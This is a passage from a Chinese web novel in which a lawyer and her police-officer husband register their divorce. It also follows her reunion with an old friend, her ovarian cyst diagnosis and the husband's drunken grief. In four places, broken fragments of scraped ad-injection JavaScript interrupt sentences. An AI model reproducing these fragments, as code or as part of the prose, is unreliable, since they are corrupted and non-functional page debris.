这张现场照片比小王夸张的描述要有冲击力多了,林茜此时才意识到当时的惊险,看向关昊的目光多了几分担心:“你现在胳膊还有事吗?” “没事啦,我年轻,好得快。”关昊笑嘻嘻地说。 林妈看着这张照片,也是动容:“你看孩子多信任关昊。你们要有了孩子,关昊肯定是个好爸爸。” 这话不知怎么就飘到了关昊的心坎里,以前总觉得工作忙,要孩子的事不着急。现在觉得如果能和林茜有一个孩子,余琛是不是就不是问题了? 林茜却想起了不久前,家里堆满烟蒂的烟灰缸。 一过10点,林爸林妈就去休息了,林茜和父母招呼:“明天上午律所开合伙人季度大会,我得赶回去。6点出门,就不在家吃饭了。” “哦哦,注意身体啊,别太累了。”林妈叮嘱:“你还有任务呢。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 原本温馨的一句话,因为最后狗屎一样的结尾,让人反胃。 林茜的脸拉了下来。 关昊鲜少见林茜喜怒外露的时刻:“什么任务啊?” “外星人给的任务。”林茜留下一句话,回到书房关了门。 关昊躺在林茜卧室的床上,慢慢回过味来。周六早上不堵车,回律所不用这么急的。林茜今晚大概是要睡在书房了,明天一早出发。这样父母就不会注意到她们分居了。 关昊越想越不是滋味,脑海里又出现了那双拖鞋,到底是不是余琛? 翻来覆去,好几次关昊想直接去书房问清楚。又怕林茜开口说是。 那样她们就再也回不了头了。 关昊忍了下来。 第二天顶着两个黑眼圈开车,一路上滴了好几辆车,林茜还以为是起得太早他在生起床气。 车停到律所门口,还不到8点。林茜正要下车,突然听见关昊很急地叫了一声:“林茜”,像是有什么要爆发。 林茜吓了一跳,下意识蜷缩起手指。 这是人在危险情况下本能的防御姿势,关昊再清楚不过。 不能冲动,不能毁了这来之不易的“缓刑期”,他还要带岳母去看病,他还有机会。 关昊努力压抑下来:“忙完了告诉我一声,别忘了吃饭。” “哦,好。”林茜不知道关昊为什么突然激动了,但直觉现在不要违逆他比较好。 上午的合伙人会议开得很顺利,林茜接连拿下两个大单,得到了其他合伙人的一致认可。因为之前的业绩清零,律师晋升合伙人后有两年的新手保护期,业绩不达标也没关系。 但林茜只用4个月就完成了任务,堪称卓越。 她感到前所未有的成就感。 这就是她为什么钟情于工作的原因,一分耕耘,一分收获。不用在意那些奇奇怪怪的情绪化反应,不用完成莫名其妙源头不清的任务,一切只靠业绩说话。 这个律所的合伙人普遍都很年轻,界限意识分明。会议开到临近中午,只有一个人提议聚餐,其他人或者要回家陪家人,或者约了朋友,或者有自己的事要做,没人应和,就直接散场了。 林茜走出会议室,周末因为开合伙人会议也跟着来加班的小蓝叫住了她:“林律师,您的客户来了,在您办公室。” 客户?今天没约人啊,林茜奇怪地走到办公室。 余琛已经听见了林茜的脚步声,站起身来。 “余琛,你怎么来了?”林茜惊讶道。 知道他今天回京,没想到他会突然过来。 “来看看你。”余琛经过在泰国的一番惊险,又知道了困扰自己二十年的真相,短短几天恍如隔世。此时此刻,他只想回到林茜身边。 林茜察觉到余琛的变化,还是沉稳的模样,还是温和的语气,可感觉和以前不一样了。林茜莫名想起大学时看过的《海边的卡夫卡》:“当你穿过了暴风雨,你早已不是原来的那个人。” 林茜走了几步,来到余琛面前,轻声问:“是发生什么事了吗?” 余琛低头注视着林茜,有很多话想说,可不知该从何说起。少时和母亲相依为命,青年流亡数年,回港后又与洪兴周旋,再到重返泰国以身做饵。如今一切终于尘埃落定。 这一路走来,又岂是三言两语能说清的呢? 林茜看着余琛的眼睛,忽然伸出手轻轻抱住了他:“就当给你接风吧,一个来自热心老友的拥抱。” 余琛回拥着林茜,脸贴在她的长发上,像盘桓许久的倦鸟终于找到了归处。 32. 第 32 章 小蓝端着一杯水来敲门。 余琛一来她就注意到了,在微信上和苏杭实时播报:“今天不来加班亏大了吧你,我这可是吃瓜第一线!” 苏杭秒回:“哦呦~起床就有瓜吃!开心~转圈~同步一下进展啊!” 余琛听到敲门声,恋恋不舍地放开了林茜。林茜去开门,看到水问了句:“茶室现在有人吗?” “没有。林律师,您要用吗?”小蓝回道。 “对。” 林茜带着余琛来到了律所的茶室。所里有个上了年纪的合伙人喜欢喝茶,在装修律所的时候就布置了这么间茶室,经常用来招待客户。 林茜平常都是简约风,公事公办,速战速决,极少在茶室接待客户。今天却觉得,茶室确实是个聊天的好地方,余琛在这里,或许会舒服一点。 “你在这坐一下,我很快就回来。”林茜对着余琛说道。 两分钟后,林茜回来了,拿着一个精致的茶叶罐。 “这可是我的私藏。”林茜狡黠地说:“以前看美剧,总有人在办公室私藏一瓶酒,有什么特殊的节点就拿出来助兴。我不一样,喝酒误事,所以我藏得的是茶。” 余琛看着这么灵动的林茜,觉得很可爱:“办公室不许饮酒,但茶也需要藏起来吗?” 林茜知道余琛打趣她,并不介意:“这里面有个典故,刚上班的时候呢,有个合伙人给我们分享他的会客经验,说是以茶会友,还兴致勃勃地搞了个茶艺速成班,所有实习律师都参加。本人不幸,天资聪颖,一上手就做的不错——”林茜看着余琛,想卖个关子。 “然后他们来了客人就叫你去泡茶。”余琛笑着说。 林茜一脸失望:“你都猜到啦。对啊,后来我就说自己胃不好,不爱喝茶,来人就假装正在忙,他们慢慢地就不找我了。但是我自己也不好意思再在工位上泡茶了,就藏了一盒,加班的时候偷偷喝。” 后来有了自己的办公室,这个习惯也延续了下来。 “所以我有幸,今天能喝到林律师亲手泡的茶吗?”余琛问道。 “乐意效劳。” 茶香袅袅,周日的律所非常安静。 余琛慢慢地,把这二十年的经历一点点讲给林茜听。 间或有一两声茶具碰撞桌面的声音。 迷雾一样的过往,终于清晰地铺陈在眼前。 原来他当年不辞而别,也是为了保护自己。 原来他那么轻易就甩掉追踪,是早就千锤百炼。 原来他拳馆里收了几个曾误入歧途的教练,是想给他们一条新路。 意外,又不意外。 当年林茜就认定,不管他看起来多么凶狠危险,但他根本就是个好人啊。 只是没想到这一路,他走得那么艰难。 林茜想安慰他,可是说什么都很苍白。 余琛看到林茜难过的表情,心里感到慰藉,反过来安慰林茜道:“还好这些都过去了,也幸好没有波及到你。不然我真的要遗憾一辈子。” “嗯。”林茜点着头,心绪还没恢复。 余琛也不想这来之不易的重逢都沉浸在伤感里,转了话题:“不是说要吃满汉全席吗?今天先尝三道怎么样?” “啊?”林茜有点茫然。 “我在飞机上已经看好了菜单,八宝野鸭、莲蓬豆腐、红豆膳粥。都是些可口的吃食,不会太肥甘厚腻,正适合你吃。” “哦,好啊,可是……你刚下飞机,就去做饭吗?”林茜有点不好意思。 “我喜欢做饭。”余琛笑着说道。 聊了太久,午饭没吃。眼看着再过两个小时又到晚饭了,林茜也不再推辞,和余琛直接去了住处附近的超市,买晚饭食材。 上次搬家为了赶时间,两个人到了超市是分头行动,这次却一起推着购物车慢悠悠地挑拣。 林茜又看到了零食柜台,一眼看过去没什么想吃的,顺口说道:“你在厨艺上真的很有天分诶,上次的青稞饼干还剩一点点,我都舍不得吃完。” 余琛宠溺地低下头:“喜欢我就多做一点。以后我大概会常住北京,有什么想吃的都可以告诉我。” “好啊!”林茜开心道。 天光还早,余琛拎着两大包购物袋,林茜背着自己的包,两个人走路回去。 林茜今天很活泼,一路叽叽喳喳,说的多是些美食,美食中又以零食为主。她早年留学,在国外没什么好吃的,倒学会了一堆快手菜。一回来就报复性品尝各地美食。 回国两年后这个习惯才慢慢改了。但每次出差去各地,也会找找当地有什么好吃的,找品质好的,贵一点没关系。自己虽然不会做,也没时间做,但吃的时间总是有的。时间要花在刀刃上,这是林茜的信条。 天南海北搜罗回来,日积月累,林茜对各地的吃食也颇有一番见解,穿插着讲给余琛听。 余琛听得很满足,如果没有后来那些意外,他本该是余记面馆的大厨兼东家的。 两人说笑着进了单元楼,谁也没注意斜对面景观树旁的长椅上,还坐了一个人。 关昊远远地看着她们大包小包,有说有笑,仿佛她们才是一家人。林茜声音清亮,很开心的样子,她有多久没对自己说这么多话了?余琛低沉的声音则断断续续,偶尔飘过来一句完整的:“放太久了就不要吃了,我再做新的给你。” 关昊蓦然想到林茜家里那个零食架,有一个盒子的包装明显和其他的不同,被放在最中间的位置,昭示着在主人心里的地位。 还有那双拖鞋…… 心里那个隐晦的猜测,此时再不愿意也不得不承认了:林茜和余琛,同居了。 自己的家空空荡荡,而林茜的家已经有了新的男主人。 关昊拿出电话,拨通了林茜的号码:“林茜,离婚。” 林茜刚进门,就接到了这个电话,愣了两秒钟,本想问问他为什么突然答应了,又想总有机会的问的,不要让关昊以为是自己反悔了。 林茜镇定地开口:“什么时候?” “明天一早。” 余琛见林茜的情绪冷了下来,以为有什么工作上的麻烦事,温和地问:“怎么了?” 林茜笑笑:“没事,list上一件待完成事项,明天可以完成了。”笑得有点勉强。 周一的早上,关昊早早就到了,穿了件军绿色的夹克倚在吉普上,双手插兜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,高冷范十足。路过的人时不时看他一眼。 等到8点半,林茜也来了:“等很久了吗?” “没有。”回答也十分高冷。 其实是一宿没睡,天没亮就过来了。 林茜看关昊一脸生人勿进的模样,也没再多说什么。民政局刚开门,已经有人在排队了。 关昊自然地走到队尾,一回头发现林茜没跟过来。 放眼一看,林茜不知什么时候去了取号机那里,已经拿着号条过来了。 “我提前在线上预约了,这样不用等太久,再过两个就是我们了。”林茜解释道。 提前预约? 不用等太久? 这么一会功夫都嫌太久了吗? 关昊舔了舔后槽牙,没吭声,周身的气势又更冷了一点。 林茜想问问关昊怎么回事,又觉得这实在不是个好时机。 离婚登记需要夫妻双方的两寸照片,关昊和林茜随着工作人员的指引去旁边的照相室拍照,恰巧蓝底的背景昨天被弄脏了还没来得及换,拍了张红底的。 林茜恍惚有种结婚时登记的感觉。 三年而已,两个人的样子都没怎么变,变的只有两个人的关系。 照片出来了,林茜去工作人员那取,看到照片上的关昊腮帮微鼓,眉毛倒竖,在红色背景的映衬下活像一只愤怒的小鸟。 这样不合时宜的场景,却突然有点想笑,悲伤的情绪也被冲淡了。 轮到她们进去,工作人员例行公事地核对证件,询问意愿,看着她们填好《申请离婚登记说明书》,又问她们有没有离婚协议。 林茜从包里拿出一张。当初提离婚时的那张被关昊撕了,她又原封不动打印了一份,一字未改。 昨天关昊说完时间就挂了电话,林茜也没再打回去。只是自己准备了一份备着,免得白跑一趟。 林茜先签了字,递给关昊。 都准备好了啊。 关昊的牙咬得又紧了一点。 一手拿过笔,也没看内容,大手一挥写下自己的名字,推到工作人员面前。 工作人员向两人宣读了离婚冷静期的规定,到期后30天内可以来领离婚证。之后就提示下一对可以进了。 就这样? 结束了? 两个人心里都有同感。 林茜有些茫然地想,四年的感情,结束了。 关昊则在心里困惑,不劝劝吗?小品里都是骗人的? 还是,要等30天后再来的时候再劝? 两人沉默着出了民政局的大门,林茜向关昊道别。往日关昊虽然不算多体贴,但总会开车送林茜一程,今天则利落地转身,一边摆摆手,一边说了两个字:“走了。” 一路走到停车处,一次也没有回头。 林茜站在原地目送着关昊的背影,在心里默默说了声:“再见。”不知道是对远去的人,还是对四年的感情,或者两者都是。 眼前泛起一点水雾,林茜用力眨了眨。北京的风大,风一吹,什么都散了。 林茜回到律所继续工作。婚姻结束了,生活还要继续。 刚到办公室坐下,助理来敲门。 33. 第 33 章 “林律师,杭州法院寄来传票了,下周三开庭。我订下周二的飞机,您看可以吗?”助理何婧把传票递过来。 林茜伸手去拿,忽然小腹一阵刺痛:“嘶——” “林律师您怎么了?”何婧见老板不对劲,赶紧绕过办公桌来看她,又不小心把桌上的包蹭掉到地上了。 “不好意思林律师!”何婧蹲下捡包,看见包里还掉出一张纸条,脸色变了变,迅速把东西整理好放回桌上。 林茜缓过来了,最近右侧的小腹时不时就有一两下刺痛,莫名其妙的。 “放这吧,谢谢。”林茜对助理说。 何婧放好东西立刻出去了。 午饭时间,苏杭在前台值班,小蓝去B1的自助餐厅吃饭,看见何婧一个人,坐过去拼桌。 “怎么啦你,吃个饭还这么严肃?”小蓝和何婧很熟,打趣道。 “没什么……”何婧心不在焉地扒拉着饭。 “诶?”小蓝眼珠子一转,兴致勃勃道:“上回你说的那个,林律师要离婚,是真的吗?” 何婧四下一看,小声说:“你问这个干嘛呀?” “这不八卦一下吗?我可看见拳王来了两回了,到底什么情况啊?” “没什么情况,就朋友呗。拳王能打,那个事还就得找他。专业的人干专业的事,后来他再来也是找林律师谈合作。” “啧,你这么正经可就没意思了啊,吃饭时间还聊工作啊?”小蓝白了她一眼。 何婧其实也有一肚子话想找人说,在小蓝再三撺掇之下,犹豫着说:“可能是……要离了吧。” “那你怎么发现的啊?我感觉林律师平常不怎么透露她的私生活的?” “我要说了你可得保密啊,不然我死定了。”何婧苦着脸说。 “你说你说,我发誓!”小蓝伸出三根手指。 何婧终于道出了之前的经过。原来林茜遇袭当晚,案子的对方当事人就发出了和解的邀请,林茜和何婧连夜加班把谈判材料准备好。 林茜亲自起草的和解协议,何婧抱着其他材料去找她的时候,林茜简单看了一遍,就说:“没问题,再复印一份留个备份,我去给当事人打个电话。” 何婧抱起材料,看到老板的电脑旁还放着一张纸,倒扣在桌子上。何婧以为是案件的材料,也要一起拿去复印,没想到翻过来是一张离婚协议书,甲方竟然是林茜本人。 惊天八卦啊,想不到这么能干又漂亮的林律师也要离婚。 何婧忍了又忍,还是在两天后吃午饭的时候跟小蓝透露,老板可能要离婚了,又说是小道消息,不靠谱,别扩散。 小蓝吃了这么个完整的瓜,感慨道:“怪不得呢,上次林律师老公来找她,她没几分钟就把人打发走了。搞不好已经离了,那这个反应就正常了。前夫嘛,谁想看到?” “还没有,不过快了。”何婧又没忍住。 “什么情况?”小蓝眼中精光闪闪。 “我上午去她办公室不小心把她包碰掉了,里面掉出一张纸条,你猜是什么?” “离婚协议?那也不是纸条……哎呀,猜不到你快说!” “离婚登记的排队号码。”声音小到只有气声。 “哦!……”小蓝发出一个拉长的小小的惊呼。 “那拳王快上位了吧。”小蓝推理道。 “我觉得不像。”何婧回忆着林茜上午的状态,缓缓得出一个结论。 林茜有洁癖,平常杯子的盖子一直是扣在上面的,免得落灰。可是今天杯口敞开着,她看到林茜喝了一口,没有再盖上。 包也没有挂在平常的地方,而是随便放在了桌角。 以往安排工作的时候,眼睛都是直视对方,今天不是看电脑就是看文件。 总之不是林茜的常态。 她没有看起来那么平静。 一连三天,林茜都照常工作,没有和余琛见面,只是中间和老姚喝了一次酒。 “恭喜啊,离婚呢,本来是一件坏事,但如果离开的是一段错误的关系,它又会变成一件好事。”老姚开解道。 “也不能说是错误的关系,只是两个人没那么合适吧。我难过也不是因为离开了关昊,只是‘分开’、‘失去’这种东西,就是会让人本能的难受。不过好在,都会过去的。” “对,都在酒里了,喝!” 老姚嘴上说得豪迈,其实两个人都是浅酌了两口。 知道林茜要来,老姚难得下了回厨。她厨艺不错的,但因为职业的关系要保持身材,常年吃健身餐。今天是闺蜜离婚的大日子,自己也跟着放纵一回。 “对了,和余琛拍摄的时间定下来了,在下个礼拜天,你过来看吗?”老姚夹起一块椒盐排骨问道。 “看情况吧。”林茜含混着说。 老姚见闺蜜情绪不高,也沉默下来,过了一会又轻声问:“你和余琛,什么情况啊?” “没什么情况,”林茜半趴在桌子上,手里晃着酒杯:“他的心意我不是不知道,以前不能回应,因为我还有老公。现在……刚刚结束一段,缓缓吧。我也需要时间。” 老姚看着林茜,看来一段婚姻对人的影响还是不小的,冷静坚强如林茜也不能例外。本想劝她找点事做,填充一下生活,又想到她已经忙得脚不沾地了,苦笑一下,又给林茜斟上了酒。 周四这天,林茜没去上班。林妈来了。 林茜陪着林妈到医院检查。 林妈来看病心里也有点忐忑,人一紧张话就多,除了叮嘱林茜好好吃饭不要熬夜,就是催林茜生孩子,最后又回到了夸女婿身上。 “这回多亏了关昊,你看这排这么多人,要不是他我哪能挂得上号。” 林茜点头应付着。 林妈又说:“今天没见着关昊,上班去啦?” “对,他最近有点忙。” “忙点好,忙点好,男人有上进心是好事。不过也别太忙了,身体最重要。”林妈抓着女儿的手嘱咐,感觉女儿的脸色不怎么好看。 “你这手怎么这么凉啊,是不是身体也不太好,今年的体检做了吗?”林妈担心地问道。 “还没,没时间。” “诶呦,体检的时间都抽不出来,就得抽时间去看病了。正好今天也在医院,你去体检部约个体检,别在这跟我耽误功夫了。” “没事,我挺好的。” “好什么好, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你看你那脸白得跟鬼似的,快去!” 林茜没办法,答应下来:“你前面还有12个人,一时半会到不了你。那我先过去,有什么事给我打电话。” “行,快去吧。”林妈抬抬手,催着女儿走了。 林茜没去约体检,想到最近小腹刺痛的情况,在咨询台问过导医后,挂了个妇科的普通号。 拿着挂号单分诊,又排了半个小时后,被医生开了彩超的单子,去做检查。 再回到诊室时,医生看着检查结果说:“最近是不是还感觉腹胀?” 林茜想了想:“是的。” “你的右侧卵巢有一个囊肿,超声显示是囊实性的,现在6.2cm*7.1cm,已经不小了,需要手术切除。” “可以保守治疗吗?”林茜瞬间理解了妈妈的想法,人面对手术的时候,总是下意识抵触的。 “小一点的话可以定期观察,但是这个已经比较大了。囊实性的肿瘤无法自己消除,只能靠手术。不过你也不用太担心,现在手术都是微创了,可以做腹腔镜,不用开刀。” “如果手术,会对我的卵巢功能有影响吗?” “这个不好说。对右侧的卵巢可能会有一定影响。不过人有两个卵巢,你左侧的卵巢还是完好的,对生育的影响不大。” “我能考虑一下吗?” “可以。建议一个月之内再来看一次,看看生长速度。如果超过10厘米,就做不了微创,只能开腹了。” “好的,谢谢医生。” 林茜回去,正好排到林妈去就诊。林茜在外面静静地坐着,决定先不告诉妈妈。 呼吸内科是这家医院的王牌科室,病人多,出检查结果也慢一点,要两天后才能拿到。林妈和医生约了下周四带着结果来复查。 出了医院,林茜还在想着怎么告诉林妈自己已经搬出来的事。如果直接说离婚,林茜担心林妈去找关昊。万一长辈参与其中,不管是劝两人复合,还是替自己的孩子出头,都不是林茜想看到的。 结果林妈已经买好了当天回去的车票:“你们都挺忙的,我就不住下了。反正离得也不远,来去都方便,下周我就又过来了。” 林茜鼻子突然有点发酸:“行,那下周我去车站接你。” 周末林茜独自来医院约个了全面的检查,挂了专家号。这次再拿着结果去找医生,就看到医生的眉头皱了起来。 “右侧确实有个卵巢囊肿,需要手术没错。但是你左侧的输卵管有点狭窄啊,手术之后,你自然怀孕可能会有一定困难。” “是说我的生育能力会受到影响吗?” “嗯……有这个可能。”老医生扶了扶眼镜:“还是建议先手术。如果先怀孕的话,孕中激素变化可能会刺激肿瘤进一步扩大,有风险。不过手术后有可能怀孕会比较困难。也不是完全没有办法,现在辅助生殖技术也很发达了,如果实在怀不上,也可以考虑试管。” “我明白了,我先做手术。您这边最近的排期是什么时候?” “最近的话,排到了下下个周一的下午,需要提前一天住院,上午10点之前过来办住院手续。” “好的,麻烦您帮我约一下吧。” 34. 第 34 章 关昊这几天,过得有些魂不守舍。 上学时一直住宿舍,毕业后和爸妈住在一起,结了婚身边又有了林茜。说起来,关昊还没有真正独居过。 以前林茜出差,两三天不在家关昊也没什么感觉,甚至还有点放风的兴奋,虽然林茜也从不干预他什么。 从民政局回来后就觉得空,太空了。空到房间里都是自己的回响。 林茜1米72的个子,身材瘦削。关昊往常抱在怀里,总觉得小小的一只。现在没了她,连床也显得无边无际起来。 翻来覆去睡不着,连自己的呼吸声都觉得吵闹。关昊一阵烦躁,去客厅打开了音箱。 有着金属质感的男中音极具穿透力地传来:“遥远的她,不可以再归家……” 切掉,换下一首。 “我说了所有的慌,你全都相信……” 关昊听着听着,跟着唱起来:“因为我喜欢,喜剧收尾……” 他和林茜,还能喜剧收尾吗? 胡思乱想到后半夜,关昊迷迷糊糊睡着了。 好像听到门口有动静,是钥匙开门的声音。爸妈的钥匙关昊已经要回来了,现在除了他只有林茜还有钥匙。 关昊闭着眼,假装睡着。 极轻缓的脚步声慢慢靠近,蹲下,关昊感觉到一点呼吸产生的气流扑面而来。他紧张到屏住呼吸。 可是下一刻,他屏不住了,林茜吻了他。 她终于回来了啊!!! 关昊再也忍不住了,一把回抱住她,却抱了个空。 猛一睁眼,哪有人呢? 原来是梦啊…… 关昊沮丧地把自己陷回沙发里。 门口又传来动静。 怎么还没完没了了? 梦中梦啊?!关昊低声吐槽了一句,打算接着睡。哪怕是个梦,能继续也是好的。 可是像有人故意跟他做对似的,门口的动静越来越大了,这回听清楚了,是断断续续的敲门声。 关昊又睁开眼,不确定地朝门口看了一眼,穿上拖鞋过去开门。 果然有人。门口站着物业经理,客气地说:“关哥打扰了,是这样,您这个音箱能不能小点声啊?楼上楼下都有邻居反映,主要现在是后半夜了,一有动静吧,它就特别明显。” “行,知道了。” 关昊关上门,顺便也关了音箱。 房间又安静下来,关昊睁着眼到天亮。 一连两天没怎么睡,关昊的黑眼圈堪比国宝。 小王担心地说:“关哥,你是不是不舒服啊,你这脸色不太好。” 关昊翻着手边的陈年卷宗,回了句:“没事,我好着呢。” 小王想起之前关昊戴墨镜的那几天,虽然行为反常吧,但人看着还算精神。现在感觉人也不大对劲了,热心道:“关哥是不是碰上什么烦心事了?凡事想开点,喝点酒,睡一觉也就过去了。” 一句话提醒了关昊。对啊,下了班找朋友啊,喝酒啊,打游戏啊,自己在家闷着干啥。离了林茜还活不了了? 关昊坐着椅子直接转过来,一把搂住小王的肩膀:“有道理,今儿晚上有空吗?我请你喝酒。” 小王心虚地笑了笑:“今天不行哈关哥,我那个……约……约了女朋友。” “你小子行啊,什么时候有的女朋友?” “就最近的事嘛,还没成,临门一脚了,今儿对不住了关哥,改天我请你!” “得,你去吧。”关昊松开了小王,总不能挡人姻缘。 关昊打开手机的通讯录,打算约发小出来喝酒。一看聊天框想起来,欠了人家钱,还没还呢。 算了,回家打游戏吧。 为了有点仪式感,关昊下班后特地点了两份外卖,有肉有菜有啤酒,庆祝自己恢复单身。 天下何处无芳草,就不信离了林茜活不了。 酒足饭饱,关昊登上了王者的号,在山谷里大杀四方,一直战斗到后半夜。眼睛发直,脖颈僵硬,手腕钝痛,但人终于平静了,关昊沉沉睡去。 一连这么过了两天,关昊觉得没意思了。 想投身工作,可最近风平浪静,人人遵纪守法。 行吧,也是好事。 到了周四,关昊想起来是岳母来北京复查的日子,有心问一句,又觉得拉不下脸。 自己给联系的专家,自己给挂的号,完了自己还巴巴地跑过去问结果,这也太上赶着了。 不问,等林茜来找他。 等到下班也没等到一条消息,关昊烦躁起来。 “小王,今天晚上有事吗?” “没有关哥,您说。”小王寻思要加班?最近也不忙啊。 “晚上喝酒去啊。”关昊又转过来勾着他的脖子问。 “关哥,我这个……最近减肥呢,喝多了吧,第二天水肿。”小王越说声音越小,脸也慢慢红了。 “你说你一个大男人,怎么活得这么细致呢?”大老爷们就该糙一点,关昊一向这么认为。 “明天不就是周五了吗,我打算明天表白来着。”小王也觉得连着拒绝了关昊两次,有点不好意思,给老大透了个自己的猛料。 “呦,行啊你,加油啊。”关昊看着小王,忽然意兴阑珊。 自己有表白过吗? 好像没有。 四年前因为工作的关系认识了林茜,当时她是刚进律所的实习律师,远没有现在这么游刃有余,而自己是已经在警队呆了三年的老鸟。 这个青涩懵懂又生气勃勃的女孩子,一身黑色西装,扎高高的马尾,穿矮跟的高跟鞋,提了两大袋卷宗要去挤地铁。关昊看不过去假装顺路送了她一程,也顺理成章留下了联系方式。 后来开始见面,约会。在一个下着雪的夜晚,两个人吃过饭在绿化带旁的小径上慢慢走着,林茜伸手去接冰晶似的雪花,又笑着呵着手说“好冷”,关昊看着她冻红的鼻头,自然而然牵起了她的手,两个人就这样在一起了。 “关哥……”小王看关昊不说话,以为他生气了,补救道:“要不咱晚上唱歌去?医生说了,唱歌有利于疏肝解郁,缓解压力。” 关昊无可无不可,应了声:“好啊,去。” 小王看关昊兴致不高的样子,以为他不爱唱歌,没想到到了KTV差点惊掉下巴。 关昊操着一口蹩脚的粤语声嘶力竭地唱道:“我在梦里却始终只有她……” 老大这是,受情伤了? 小王冒死偷偷录了一段,发给李莉。嘴欠的附了句:请欣赏老大唱功。 想了想又加了一条:绝密!不可外泄! 一分钟后李莉回过来:你们在KTV啊,哪一家啊? 小王把地址发过去。 过了一会,李莉和赵诚一起来了。 包厢内光线昏暗,关昊正唱的投入:“你说的太少或太多,都会让人更惶恐……”没注意到来人。 李莉见状把小王 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 叫了出去:“老大这是怎么了?” 小王一摊手:“我也不知道啊,前两天说喝酒,我有事没来。今天一来就这样了。” 李莉说:“肯定是摊上事儿了,老大对咱们几个都挺好的,这种时候就算帮不上忙,也得陪着他。” 赵诚:“我没意见。” 小王看着两个后辈,颇感欣慰:“老大没白教你们。”说完摸着下巴犹豫道:“我感觉这个事吧,应该还是跟嫂子有关系。” “嫂子不是之前来局里要离婚吗?”赵诚快人快语。 “就是说啊,”小王挠着头:“关哥的人品大家都知道,肯定不会做对不起嫂子的事。到底为啥呢?李莉,你也是女人,你给分析分析。” “分析什么啊?你们俩怎么在这?”关昊唱完一首一看屋里没人了,打开门出来看看。 仨人都唬了一跳,还是李莉反应快:“这不……还有两个多月就元旦了吗,科长让出个节目,别年年当观众。还说,有机会让新人先上,我就跟赵诚过来练练歌,看能不能行。正好碰见王哥,这让我分析呢。” “哦,开包厢了吗,没开就一起吧。”关昊想着人多热闹一下也是好的。 “没有没有,我们也是刚到。”赵诚赶紧补上。 就这样四人齐聚一堂,关昊又加了一打啤酒。 李莉和赵诚象征性的各自唱了一首,又合唱一首,然后就让给关昊了。 关昊唱累了就坐在沙发上,沉默着喝酒。 虽然平时酒量不错,但今天晚饭没怎么吃,此刻灌了一肚子酒,心情还不好。关昊很快醉了,倒在沙发上不省人事。 小王一看时间,也两个多小时了,差不多可以结束了。打算和赵诚一起送关昊回去。 李莉灵机一动:“我跟你们一起吧。” 赵诚憨憨的:“不用,关哥这人高马大的,你也架不动他,我跟王哥就行。” “不是,”李莉又看了关昊一眼,确认是睡熟了:“我跟着过去看看。不是怀疑嫂子那边出问题了吗,去关哥家里看一眼不就不知道了。” 小王心想有道理,女孩子心细,说不定真能看出什么端倪。三个人带着关昊一起去了他家里。 敲门没人应,小王大着胆子摸了摸关昊的衣服,找出钥匙开了门。 一进门发现,根本不用什么心细不细的,有眼睛就能看出来。关昊换下来的衣服丢在沙发上,昨天的外卖盒子还没扔,堆在电脑桌旁。 根本没有女主人的痕迹。 李莉盯着客厅的墙面看,有一个长方形的区域,比其他地方略白一点,问道:“那原来是不是挂的婚纱照?” 小王顺着一看:“是啊!怎么没了?” 这下三人心里都有谱了,关哥确实后院起火了。 李莉迅速变成三人的主心骨,指挥着小王和赵诚把关昊搬到卧室的床上,帮他脱掉鞋子和外套。李莉自己则去了厨房,看看有什么材料可以做醒酒汤。 打开冰箱,空空如也。 只在厨房的柜子里找到半袋米,凑合着熬了点米粥。 小王和赵诚很快出来了,粥还需要等一段时间才好。 “你们先回去吧,我在这看着火,等粥好了就走。”李莉说道。 小王心里觉得不太合适,又一想关昊醉得像条死狗,应该也出不了什么事。叮嘱李莉别太晚,到家后发个信息报平安。 李莉爽快地说:“没问题。你俩出门把垃圾带走。” 35. 第 35 章 关昊迷糊中感觉有一双温柔的手在擦拭自己的脸,一把抓住,口中喃喃:“林茜……别走。” 可越怕什么越来什么,这双手悄悄地从自己手中抽离,没有了踪影。关昊摇头晃脑,想睁开眼,但就是睁不开,一夜睡得很不安稳。 早上被阳光照醒,关昊挡住眼睛缓了缓,从床上起来,看见自己还穿着昨天的衣服,只是外套和鞋不见了。 昨天喝了这么多啊…… 那昨晚林茜回来,又是做梦了? 关昊略有沮丧地走出卧室,瞬间感觉有什么不一样了。 家里变干净了。 地拖过了,垃圾都丢掉了,沙发上的脏衣服也不见了。 关昊的心情又雀跃起来。 对嘛,林茜这么要强的人,肯定磨不开面子先低头,所以偷偷跑回来帮我收拾家里,照顾喝醉的我,又在天亮前离开,免得双方尴尬。 是她的风格,好贤惠,好可爱,关昊心里想着,笑容就浮现在了脸上。 走到餐桌前,看见一个保温瓶和一张纸。 关昊的笑容更深了,真是好老婆啊,还留了饭给我。 关昊看清纸上的字,笑容僵在脸上。 “关哥,保温瓶里是皮蛋瘦肉粥。” 没有落款。 可是林茜不会叫他关哥,这也不是林茜的字迹。 刚刚还让人欢欣雀跃的破镜重圆瞬间变惊悚剧。 家里来别的女人了? 还发生了什么? 关昊竟然一点也想不起来。 心情忐忑地回到卧室,仔仔细细在床上看了一遍,还好,没什么靡靡的痕迹。 关昊暗暗松了一口气,又狐疑起来,到底是谁? 昨天明明是跟小王去喝酒唱歌了啊,小王也不可能把他丢给什么乱七八糟的人。左思右想,关昊还是给小王打了电话。 小王今天早早就到了单位,心里也正在忐忑。昨天夜里等到1点也没等来李莉的短信,当时就开始后悔,不该让李莉留下啊,大半夜的孤男寡女,这叫什么事嘛。 今天不到8点就来了,想着问问李莉,结果同事们一个个来了,就是不见两位当事人,眼见着快迟到了,小王想抽自己的心都有了。 正在这时,关昊又打来电话。 小王心惊胆战地接了:“关……关哥。” “我问你个事啊,昨天谁送我回来的?” “啊?”听起来两人没在一处,小王半真半假地说:“我和赵诚啊。” “那我这衣服跟鞋?” “我脱得外套,赵诚脱得鞋。”这句没说谎。 “哦,行,谢了啊,家里收拾挺干净。” “啊?哦,不客气哈关哥,都是应该的。” 挂了关昊的电话,小王长吁一口气,好像没出什么事,但是李莉肯定又干了别的。听关昊的意思,把他家的卫生打扫了?像是女孩子会干的事。 就这样吧,小王劝着自己:先把这个功劳顶了,免得老大看见李莉尴尬。回头再向李莉赔不是。 